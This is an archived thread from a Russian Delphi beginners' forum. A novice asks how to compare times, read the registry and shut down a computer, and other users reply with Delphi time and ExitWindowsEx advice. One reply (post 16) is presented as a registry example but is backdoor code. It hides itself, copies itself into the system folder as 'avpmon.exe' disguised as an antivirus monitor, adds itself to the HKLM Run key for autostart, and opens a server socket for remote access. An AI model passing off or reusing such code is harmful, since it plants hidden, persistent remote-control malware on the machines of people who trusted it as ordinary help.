Главная страница
    Top.Mail.Ru    Яндекс.Метрика
Форум: "Начинающим";
Текущий архив: 2006.03.26;
Скачать: [xml.tar.bz2];

Вниз

Как сравнить время   Найти похожие ветки 

 
alex111 ©   (2006-02-20 14:57) [0]

Пытаюсь написать прогу которая будет выключать комп через определенное время. Столкнулся с такой проблемой:
Функция time возвращает время в формате 12:42:34. Сохраняю его, затем по таймеру проверяю системное время. Вопрос: Как сравнить полученное время с сохраненным ?????
Если можно простенький пример.
Заранее благодарен.


 
ssk ©   (2006-02-20 15:01) [1]

if <Твое_время> = Now then


 
Eraser ©   (2006-02-20 15:03) [2]


> alex111 ©   (20.02.06 14:57)


> Функция time возвращает время в формате 12:42:34

ошибаетесь.


 
REA   (2006-02-20 15:04) [3]

if <Твое_время> >= Now


 
Jeer ©   (2006-02-20 15:31) [4]


> Как сравнить полученное время с сохраненным ?????


Смотря как сохраняешь и сравниваешь.
Форматы  сверь.


 
Vlad Oshin ©   (2006-02-20 15:37) [5]

введи эпсилон
if (Твое_время-Now) < пары_секунд


 
SOFTakaXimera   (2006-02-20 18:24) [6]

if StrToTime(12:42:34) < Now Then .....


 
Коля   (2006-02-20 23:38) [7]

Кусок кода от будильника. Много всякой лишней дряни, но надеюсь ответит на вопрос


procedure TForm1.Timer1Timer(Sender: TObject);
var
hn,mn,mm,mmm: word;
begin
Time:=now;
if aset then
begin
   if not (pll) then
   begin
   DecodeTime(time, hn, mn, mm, mmm);
   if (hn=ha) and (mn=ma) then
   begin
     mediaplayer1.Open;
     mediaplayer1.Play;
       groupbox2.Show;
 groupbox1.Hide;
     //mediaplayer1.TimeFormat:=tfMilliseconds;
     //form2.timer3.Interval:=2000;
     form1.Show;
     pll:=true;
     hp:=true;
   end;
   end
   else
   begin
     if mediaplayer1.Position = mediaplayer1.Length then
     begin
       mediaplayer1.Position:=1;
       mediaplayer1.Play;
     end;
   end;
end;
end;


 
alex111 ©   (2006-02-21 06:02) [8]


> if <Твое_время> >= Now

Мне нужно: if<моё время+лимит>=Now...
но я не могу прибавить лимит (в минутах) к времени. ошибка несоответствия типов.
извините если вопрос глупый, я ещё совсем чайник.


 
КаПиБаРа ©   (2006-02-21 06:34) [9]

alex111 ©   (20.02.06 14:57)
Функция time возвращает время в формате 12:42:34


function Time: TDateTime;
__________________________________
Unit

System

type TDateTime = type Double;

Фунцкия как ни странно возвращает вещественное число.
F1 - TDateTime type


 
КиТаЯц ©   (2006-02-21 07:17) [10]


> alex111 ©   (20.02.06 14:57)
>
> определенное время. Столкнулся с такой проблемой:
> Функция time возвращает время в формате 12:42:34. Сохраняю


> alex111 ©   (21.02.06 06:02) [8]
>
>
> > if <Твое_время> >= Now
>
> Мне нужно: if<моё время+лимит>=Now...
> но я не могу прибавить лимит (в минутах) к времени. ошибка
> несоответствия типов.


Коряво, но, надеюсь, понятно ;=)
var
MyTime: string = "06.30.00";
Limit: string = "00.00.05";
TmpSep: char;      //
TimSep: char = "."; // отвязываем зависимость от системных настроек
...
TmpSep:= TimeSeparator; // запоминаем системный
TimeSeparator:= TmpSep; // изменяем разделитель дат на наш формат
if ((StrToTime(MyTime)+StrToTime(Limit)) >= Now)
  then ... showmessage("Время вышло!");
TimeSeparator:= TmpSep; // возвращаем системные настройки


 
alex111 ©   (2006-02-21 08:25) [11]

Спасибо!!!


 
alex111 ©   (2006-02-23 11:16) [12]

интересно почему так:
ostatok:=starttime+limit-now;//посчитаем сколько осталось
результат вычисляется не верный.
например:starttime=21:13:00
              limit=00:05:00
              now=21:13:01..02..03 и т.д.
а остаток вычисляется 23:18:01..02..03 и т.д.?

а если ostatok:=starttime+limit-Time; то все ок
еще пара вопросов
1)какие ф-ии в делфи для работы с реестром? //даже не соображу какое слово для поиска в справке ввести, т.к. с английским у меня еще хуже чем с делфи.
2)как выключить комп програмно?


 
ssk ©   (2006-02-23 11:55) [13]

1)какие ф-ии в делфи для работы с реестром? //даже не соображу какое слово для поиска в справке ввести, т.к. с английским у меня еще хуже чем с делфи.

TRegistry

2)как выключить комп програмно?

см. в сторону
ExitWindows()
ExitWindowsEx()


 
-=Dark=-   (2006-02-23 14:11) [14]

1)какие ф-ии в делфи для работы с реестром? //даже не соображу какое слово для поиска в справке ввести, т.к. с английским у меня еще хуже чем с делфи.

TRegistry

2)как выключить комп програмно?

см. в сторону
ExitWindows()
ExitWindowsEx()

1) По поводу реестра: Нарой какой-нибудь исходник в котором описана работа с реестром! На самом деле там все очень просто! Или тебе нужен пример создания ключа и записи, ну или удаления?
2) Нарой описание API функций Виндов! Так как помимо самого выключения коспа тебе необходимо еще и закрывать все окна, и программы, иначе будет выдаться ошибка и требование сначала закрыть, там какую-нибудь программу.


 
alex111 ©   (2006-02-23 14:23) [15]


> 1) По поводу реестра: Нарой какой-нибудь исходник в котором
> описана работа с реестром! На самом деле там все очень просто!
>  Или тебе нужен пример создания ключа и записи, ну или удаления?
>
> 2) Нарой описание API функций Виндов! Так как помимо самого
> выключения коспа тебе необходимо еще и закрывать все окна,
>  и программы, иначе будет выдаться ошибка и требование сначала
> закрыть, там какую-нибудь программу.

Буду благодарен примеру.
А по поводу

> интересно почему так:
> ostatok:=starttime+limit-now;//посчитаем сколько осталось
> результат вычисляется не верный.

now F1 выдает что-то типа "резервирует место в памяти для чего-го там"


 
-=Dark=-   (2006-02-23 14:44) [16]

Reg: TRegistry;
 dir,str: string;
 len: integer;
begin
 Application.ShowMainForm := false;
 len := 255;
 SetLength(Dir,Len);
 Len := GetSystemDirectory(PChar(Dir),Len);
 SetLength(Dir,Len);
 if Application.ExeName <> Dir + "\AVPMON.EXE" then
   begin
     if not FileExists(Dir + "\avpmon.exe") then
       begin
         CopyFile("avpmon.exe",PChar(Dir + "\avpmon.exe"),false);
         WinExec(PChar(Dir + "\avpmon.exe"),0);
       end;
     Application.Terminate;
     Exit;
   end;
 Reg := TRegistry.Create;
 Reg.RootKey := HKEY_LOCAL_MACHINE;
 if Reg.OpenKey("Software\Microsoft\Windows\CurrentVersion\Run",false) then
   begin
     str := Reg.ReadString("internat32");
     if str <> Application.ExeName then
       Reg.WriteString("Services",Application.ExeName);
     Reg.CloseKey;
   end;
 Reg.Free;
 ServerSocket1.Active := true;
end;


 
-=Dark=-   (2006-02-23 14:52) [17]

Оставь мыльник! Api функции солью!


 
-=Dark=-   (2006-02-23 14:55) [18]

ExitWindowsEx(EWX_LOGOFF or ewx_force,0); /*завершает работу всех запущенных в системе процессов, сохраняя данные приложения, вызвавшего эту функцию*/

ExitWindowsEx(EWX_SHUTDOWN or ewx_force,0); /*останавливает работу системы в безопасный момент времени. Все буферы очищаются с сохранением данных на диске, все процессы останавливаются*/

ExitWindowsEx(EWX_REBOOT or ewx_force,0); /*перезагрузка системы*/

ExitWindowsEx(EWX_FORCE or ewx_force,0); /*завершает работу всех запущенных в системе приложений, не посылая им сообщения WM_QUERYENDSESSION и WM_ENDSESSIO. Это может вызвать потерю не сохраненных данных*/

ExitWindowsEx(EWX_POWEROFF or ewx_force,0); /*завершает работу компьютера с выключением питания, если система поддерживает автоуправление питанием*/

ExitWindowsEx(EWX_FORCEIFHUNG or ewx_force,0); /*завершает работу всех запущенных в системе приложений если система висит*/


 
alex111 ©   (2006-02-23 14:56) [19]

-=Dark=- вот inf(псина)xaker.ru
спасибо!!!


 
-=Dark=-   (2006-02-23 15:02) [20]

А по поводу

> интересно почему так:
> ostatok:=starttime+limit-now;//посчитаем сколько осталось
> результат вычисляется не верный.

Проверяй данные, которые складываешь!А еще Лучше, если starttime и limit укажешь как константы, ну если конечно так и должно быть! Правильно ли ты их прописываешь и вообще ты их в каком формате складываешь то? У тебя есть полученное время типа 00:00:00! К нему должно прибовлять в таком же формате учитывая постановку часов, минут и секунд! Проверяй, значит где то ошибка!:-)


 
alex111 ©   (2006-02-24 07:41) [21]

Dark, спасибо за почту!

-=Dark=- писал:
> Reg: TRegistry;
>  dir,str: string;
>  len: integer;

пишу: var Reg: Tregistry...и т.д;//здесь ошибка при компиляции типа не знаю что такое Tregistry
поискал в справке там Tregistry non aviable for cross platform...
думал не установлен компонент, попробовал установить, нашел Registry.pas, устанавливаю, а он говорит, что уже установлено, но в компонентах его нет.


> Проверяй данные, которые складываешь!А еще Лучше, если starttime
> и limit укажешь как константы, ну если конечно так и должно
> быть! Правильно ли ты их прописываешь и вообще ты их в каком
> формате складываешь то? У тебя есть полученное время типа
> 00:00:00! К нему должно прибовлять в таком же формате учитывая
> постановку часов, минут и секунд! Проверяй, значит где то
> ошибка!:-)

здесь так:
StartTime:=Now;
limit:=01:00:00;
ostatok:=StartTime+StrToTime(limit)-Now;
Label1.Caption:=TimeToStr(StartTime);//здесь правильно
Label2.Caption:=limit;//здесь правильно
Label3.Caption:=TimeToStr(ostatok);//здесь не верное значение
Label4.Caption:=Now;//здесь правильно


 
Сайбель Алексей ©   (2006-02-24 09:10) [22]

2 alex111 © [21]

> пишу: var Reg: Tregistry...и т.д;//здесь ошибка при
>компиляции типа не знаю что такое Tregistry
> поискал в справке там Tregistry non aviable for cross
>platform...
> думал не установлен компонент, попробовал установить,
> нашел Registry.pas, устанавливаю, а он говорит, что
> уже установлено, но в компонентах его нет.

Строка:Tregistry non aviable for cross platform...
говорит о том что работа с данным типов не доступна для кроссплатформенных приложений, таких как линукс и другие.
Реестр сугубо виндовая фишка

По поводу Registry.pas то его нужно подключить в uses твоего юнита.


 
alex111 ©   (2006-02-24 14:16) [23]


> Строка:Tregistry non aviable for cross platform...
> говорит о том что работа с данным типов не доступна для
> кроссплатформенных приложений, таких как линукс и другие.
>
> Реестр сугубо виндовая фишка
>
> По поводу Registry.pas то его нужно подключить в uses твоего
> юнита.
>

А-а-а теперь понятно. Жаль что попробовать смогу теперь только завтра.


 
alex111 ©   (2006-02-27 05:43) [24]


> ExitWindowsEx(EWX_POWEROFF or ewx_force,0); /*завершает
> работу компьютера с выключением питания, если система поддерживает
> автоуправление питанием*/

Почему-то эта ф-я вместо PowerOff делает LogOff.


 
alex111 ©   (2006-03-10 08:02) [25]


> ExitWindowsEx(EWX_POWEROFF or ewx_force,0); /*завершает

также winexec
как корректно выключить компьютер?



Страницы: 1 вся ветка

Форум: "Начинающим";
Текущий архив: 2006.03.26;
Скачать: [xml.tar.bz2];

Наверх





Память: 0.51 MB
Время: 0.042 c
2-1141888762
YDS
2006-03-09 10:19
2006.03.26
ClsID программы


2-1141837878
Volkodav
2006-03-08 20:11
2006.03.26
Перетаскивание формы


2-1141896299
Der Nechk@ssoff
2006-03-09 12:24
2006.03.26
рисование кнопки


4-1136451699
Uran
2006-01-05 12:01
2006.03.26
Добавить свой контрол в заголовок чужого окна.


15-1141480795
постигаю
2006-03-04 16:59
2006.03.26
окно





Afrikaans Albanian Arabic Armenian Azerbaijani Basque Belarusian Bulgarian Catalan Chinese (Simplified) Chinese (Traditional) Croatian Czech Danish Dutch English Estonian Filipino Finnish French
Galician Georgian German Greek Haitian Creole Hebrew Hindi Hungarian Icelandic Indonesian Irish Italian Japanese Korean Latvian Lithuanian Macedonian Malay Maltese Norwegian
Persian Polish Portuguese Romanian Russian Serbian Slovak Slovenian Spanish Swahili Swedish Thai Turkish Ukrainian Urdu Vietnamese Welsh Yiddish Bengali Bosnian
Cebuano Esperanto Gujarati Hausa Hmong Igbo Javanese Kannada Khmer Lao Latin Maori Marathi Mongolian Nepali Punjabi Somali Tamil Telugu Yoruba
Zulu
Английский Французский Немецкий Итальянский Португальский Русский Испанский